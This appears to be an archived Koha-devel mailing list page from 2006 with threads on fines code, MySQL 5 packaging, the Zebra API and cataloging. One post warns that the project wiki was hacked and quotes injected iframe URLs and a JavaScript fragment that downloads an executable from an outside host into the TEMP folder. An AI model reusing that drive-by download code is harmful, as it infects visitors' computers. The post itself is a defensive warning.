- Koha-devel - lists.koha-community.org

development in module fines from OP
by toumi bruno 06 Oct '06

06 Oct '06

hi i explain (with my best english) all my developement in fines module: new features: the system of fine : -work in day open(work with calendar module). -linked with overdue rules delays . -create a file number to link all accountlines per borrowers,per days . -calcul of fines work with issuingrules. -create new line item price in accounlines. -modify display of pay.tmpl (all lines , and total per days (file number) ). -all data with same notify_id are linked and total was caluled par notify_id. -write off works now with all accounttypes. -Fines.pm is more general . -create new accounttypes (IP=> Item Price ,CH=>charge , RL => Recommended charge , RE => Overdue notice charge); database modification -add two fields in accountlines (notify_id and notify_level) notify_id=>file number,notify_level=>linked with delays -add two table charges,notifys

1 0

New barcode tool configuration
by Pedro Faria 05 Oct '06

05 Oct '06

I am using the new 2.2.6 Koha release and I choose it mostly because it's new barcode generation tool. Imagine I want to configure the size (image dimensions in pdf) of the barcode generated and the dimensions of the red boxes (to fit some specific kind of sicky labes sheet), how can I do it? Should I go through Perl? -- Pedro Faria

1 0

Re: [Koha] MySQL 5 fixes - Debian packaging.
by Alex King 30 Sep '06

30 Sep '06

This is going to be a show stopper for getting a Debian package out quickly. MySQL 5 is the standard server in Debian Etch (testing). There isn't even a version of the 4 or 3 server available for it as far as I can tell. So were going to need something that works with 5. I think the current and future versions of Ubuntu are in the same situation. I'd like to know from the developers what led to the patches shown in the bug report, ie what problems they were solving, how serious is this? With just the search queries patched, 2.2.5 appears to work OK (apart from barcodes), although I haven't tested it thoroughly. So we have two possible roads we could go down for a Debian package - either package 2.2.6 and add whatever patches are needed and test test test, or give up on it and package 3.0 What are people's instincts as to what is likely to be the best way to go? I don't want to spend a lot of time packaging 2.2.6 just to find I have to abandon it and switch to 3.0 because 2.2.6 can't be made to work with MySQL 5. On the plus side we can probably gather half a dozen or so testers, and if we know what we're looking for (in terms of where the problems might lie with MySQL 5) we could be effective at flushing out the bugs. Either way it's looking increasingly unlikely we'll get something in for Etch. I'm still planning to get something together soon - probably still 2.2.6 unless the consensus is otherwise. Cheers, Alex PS. My -devel digests have been hidden away by my mailer & I've only just discovered them, so sorry for my lack of responsiveness! After I told people to post there too :-/ PPS. I now think it's even more critical to point out the MySQL dependencies clearly and explicitly on the website. Is it there already, have I missed something? I think more and more Linux distros are/will be shipping with MySQL 5 by default. Mike Dalgity wrote: > I originally replied to Ms. Johnson off list but I'll post here for everyone > else following this topic. I am not a developer but the following is what > I've come across on the subject. > > According to Bug #1089 > http://bugs.koha.org/cgi-bin/bugzilla/show_bug.cgi?id=1089 MySQL 5 will NOT > be supported in Koha 2.x. Apparently MySQL 5 introduces more problems other > than reserved keywords. It's my understanding that the fix isn't as simple > as fixing the keywords and the search problems. The patch that is included > in that bug report makes a LOT of changes, stats modules, aquistions, etc. > And the authour indicates that there are still additional problems the patch > doesn't fix or even introduces. The probable reason that MySQL 5 isn't > supported is that it's a major undertaking to change everything and then > test it. Also the 2.x branch is supposed to be stable so a major change like > this is not recommended. AFAIK you will have to wait for Koha 3.0 to support > MySQL 5 (of course it can be modified to work if you really want it to). If > the developers have changed their plans someone please correct me. > > Mike D. > > > -----Original Message----- > From: koha-bounces(a)lists.katipo.co.nz > [mailto:koha-bounces@lists.katipo.co.nz]On Behalf Of Alex King > Sent: September 29, 2006 5:40 PM > To: BWS Johnson > Cc: koha(a)lists.katipo.co.nz > Subject: Re: [Koha] MySQL 5 fixes > > > It looks like Koha version 2.2.5 was released in January. Normally, the > download for 2.2.5 wouldn't be changed. I would assume the fixes are in > the pipeline for the next version in the series, 2.2.6. > > So when 2.2.6 is released I would expect it will work nicely with MySQL5. > > Perhaps a warning could be put on the download page mentioning the > MySQL5 issue. > > Cheers, > > Alex > > BWS Johnson wrote: > >> Salvete! >> >> Is there a reason that the reserved language switch to make Koha play >> nice with MySQL 5 hasn't been incorporated into the downloads yet? Am >> I missing something? >> >> Cheers, >> Brooke @ Hinsdale MA >> ------------------------------------------------------------------------ >> >> _______________________________________________ >> Koha mailing list >> Koha(a)lists.katipo.co.nz >> http://lists.katipo.co.nz/mailman/listinfo/koha >> >> > _______________________________________________ > Koha mailing list > Koha(a)lists.katipo.co.nz > http://lists.katipo.co.nz/mailman/listinfo/koha > > >

2 1

dev_week / rel_3_0 zebra API
by Paul POULAIN 30 Sep '06

30 Sep '06

I want to summarize what is done on dev_week (& synched to rel_3_0) and check (with Kados) that i'm right : * cataloguing API : - joshua, you have modified recently *Biblio.pm* to change the sub names, to have something using our coding rules. For example, NEWnewbiblio is now NewBiblio. The parameters seems unchanged. - we don't see anything commited in acqui.simple/addbiblio.pl and additem.pl, meaning either you have forgotten to commit them, or that it is still to be done. Pls tell us ;-) - AddBiblio / ModBiblio ... are now the ONLY point of entry to add a biblio. That means the parameter MARC=OFF is definetly gone & abandonned. * Search API : - The search on catalogue can be done with Search.pm, subs BuildQuery & GetRecords. All previous subs (cataloguersearch... are deprecated & can/will be removed from the code) - the search in librarian interface is still search.marc/search.pl, and don't use this new definitive API yet. - the search in OPAC is search (opac-search.pl & opac-zoomsearch.pl are deprecated too & can be dropped). Is there a reason why you called it "search" only (no .pl & no opac-xxx) ? * where can we help ? we are going to merge the code to rel_3_0 and continue cleaning, but should we do this on dev_week BEFORE merging, or on rel_3_0 AFTER merging ? -- Paul POULAIN et Henri Damien LAURENT Consultants indépendants en logiciels libres et bibliothéconomie (http://www.koha-fr.org) Tel : 04 91 31 45 19

3 4

Debian Etch: the big freeze comes
by MJ Ray 28 Sep '06

28 Sep '06

Etch general freeze will be 2006-10-18 Wednesday (see http://lists.debian.org/debian-devel-announce/ today) So ideally, we will need koha in unstable by 2006-10-08 Sunday (see http://www.debian.org/devel/testing for reasons) So ideally, I will need koha packages by 2006-10-06 Friday So we have about a week. Will we do this? Are we set on 2.2.6? BTW, the sooner the better, as we'll need ftpmaster approval for new packages (koha, maybe others). I'll contact ftpmasters by email to ask whether this is likely to happen. http://ftp-master.debian.org/ Thanks for any comments, -- MJR/slef My Opinion Only: see http://people.debian.org/~mjr/ Please follow http://www.uk.debian.org/MailingLists/#codeofconduct

1 0

[DANGER - URGENT - WARNING - URGENT] wiki.koha.org hacked
by Paul POULAIN 26 Sep '06

26 Sep '06

To everybody. http://wiki.koha.org has been hacked : when you try to open a page, something with a .wmf + a large javascript is loaded. If you go to the wiki under linux/Mac OSX, it is just impossible to use. If you go to the wiki under MS-windows, it's probably impossible to use + do some nasty things on your computer. SO, AVOID GOING TO WIKI.KOHA.ORG Kados / chris : it seems (with lynx, that don't enjoy javascript ;-) ) that all pages contains on the top an iframe to IFRAME: http://uniqcount.net/adv/new.php?adv=9 IFRAME: http://uniqcount.net/adv/09/new3.php going to this address give a page with javascript containing : ============================================ Log('Ceating the XMLHTTP object...'); var url = "http://uniqcount.net/adv/09/win32.exe"; var xml = null; var bin = e.Item("TEMP")+ "\\" + "metasploit.exe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } =========================================== metasploit.exe is something really nasty : http://seclists.org/vuln-dev/2004/Apr/0011.html -- Paul POULAIN et Henri Damien LAURENT Consultants indépendants en logiciels libres et bibliothéconomie (http://www.koha-fr.org) Tel : 04 91 31 45 19

2 1

Some dev_week Scratchings
by Joshua Ferraro 25 Sep '06

25 Sep '06

Hi all, I've just cleaned up the naming conventions and some of the code and documentation issues in Biblio.pm in dev_week. My goal was to make some sense of the sheer volume of code, weed out the unused and useless functions, and re-name the used functions according to our coding guidelines. I didn't intend to do this originally for dev_week but unfortunately I just couldn't work with client requirements with the code in such an unreadable state. Toins, feel free to update rel_3_0 with my changes. Just a quick update on the current state of dev_week: 1. The searching options have been greatly expanded. If you haven't looked lately, you'll want to check out the latest record.abs, bib1.att, ccl.properties files: a. The dev_week API uses CCL as the default query language for interaction between the scripts and Zebra, though it does support CCL and PQF if passed ccl= or pqf= as the first part of a query. b. Getting your records up to snuff might be the most difficult part of a migration process. At some point soon we're going to need to put together a cataloging guide for catalogers using Koha to help maximize Koha's capabilities. in the meantime, expect to spend some time feeding your records through some pre-processing scripts. c. There are internationalization issues with dev_week that I haven't had a chance to explore ... also no support for UNIMARC yet, but I think paul and hdl are working on this. I expect once a few of my clients' systems go live I'll have some room to breath and take a look at these issues. 2. Items data is no longer updated on-the-fly for circulation -- it's just too much of a performance hit. There's a batch script for keeping the index up to date that you can run every 5 minutes or so to keep things up to date. 3. I removed all the proc-hungry functions in circulation and turned on warnings. Speed is up at least 80% from rel_2_2, and that's without mod_perl turned on. 4. I'm considering eliminating the old search API from the Intranet rather than maintain a wrapper for it. If anyone has any objections, speak up quickly :-). 5. I'm planning to remove additionalauthors and bibliosubject from dev_week because we've created some better ways to handle repeatable data by pulling it directly from the MARC (and FYI: additionalauthors and bibliosubject don't work as advertised in rel_2_2, but that's another story :-)) 6. This evening I'll be taking a look at the rel_3_0 code for reserving specific items and if it's stable, merging it into dev_week. 7. NPL will be doing user-testing of the Intranet tomorrow in anticipation of their go-live date in early October. I'll post the results of this test as soon as it's completed. 8. Authorities management is currently broken in dev_week, but I plan to fix it asap. 9. I've done something potentially confusing related to itemtypes in partial fullfillment of a NPL's need for a smaller set of circ rules without losing all their others. What I've done is to create an authorized value called CCODE that is hard-coded in the code to appear as a search point. CCODE is the old itemtype for NPL and NPL uses a new set of itemtypes for actual circulation rules. However, I may need to adjust how circulation rules are applied to allow item-level circulation rules (so that for instance, a record can have multiple items, each with different circ rules) which is required by almost every US Public library. I will post more about this issue as soon as I have a plan -- ideas are welcome :-). 10. Owen and I are going to begin using bugzilla to track issues with dev_week now that things are stabilized and will be using the rel_2_4 branch. 11. Migrating from a previous version of Koha to dev_week is nothing short of a nightmare :-). In addition to the need to fix broken records and normalize existing records, there's the added burden of dealing with improperly encoded records. These issues need to be dealt with on a case-by-case basis because of the diversity of platforms out there. There's also an incredible learning curve for Zebra, both in terms of installation (ie, getting your data into zebra and having it run), and customization (ie, getting it to search what and how you want). Just a heads up for any of you looking to try this out. Well, that's all for now ... have a good rest of the weekend :-). Cheers, -- Joshua Ferraro SUPPORT FOR OPEN-SOURCE SOFTWARE President, Technology migration, training, maintenance, support LibLime Featuring Koha Open-Source ILS jmf(a)liblime.com |Full Demos at http://liblime.com/koha |1(888)KohaILS

1 0

Adding new MARC tag Thesaurus Structure
by Pedro Faria 22 Sep '06

22 Sep '06

Dear all, Imagine I want catalog books and save, for each, it's Theme and a Group (these have a restricted set of values we want to be inserted). .I thought about creating two categories in Thesaurus Structure <http://librarian.testes.udp.eurotux.com/cgi-bin/koha/admin/authtypes.pl> named Theme and Group and add for them their autorised values. But, how do I make these new fields visible when adding a MARC and where, in the DB will these values be really stored? Do I have to make links DB-MARC , create new MARC tag... help needed!! Thank you

2 1

Simple Cataloging Help
by Pedro Faria 19 Sep '06

19 Sep '06

Dear all, I want to do simple cataloging. I just need to have Title, Author, ISBN, Publisher, Year, Genre, Group. What do you propose so achieve such goal? I want to make it simple for who catalogs and the MARC form is a bit scary... Since we just need these fields I would like show to the user a form with these values. Should I create another framework (MARC structure...) Needing help... Thanks

2 1

Re: [Zebralist] zebraidx weird brutal error...
by paul.poulain＠free.fr 14 Sep '06

14 Sep '06

Selon Adam Dickmeiss <adam(a)indexdata.dk>: > /var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow/cache > > zebraidx: cfile.c:117: cf_open: Assertion `cf->head.block_size == > block_size' > > failed. > > Abandon > You probably moved shadow files from one machine to another. Adam rock !!! > > [alaurin@localhost biblios]$ zebraidx -g iso2709 -d biblios -c > > ../../etc/zebra-biblios.cfg update export/ > > zebraidx: error while loading shared libraries: libyaz.so.2: cannot open > shared > > object file: No such file or directory > > YAZ not properly installed. Or you simply did not run ldconfig. Or yaz > is installed in /usr/local/lib and that directory is not listed in > /etc/ld.so.conf. Adam rock again !!! -- Paul

1 0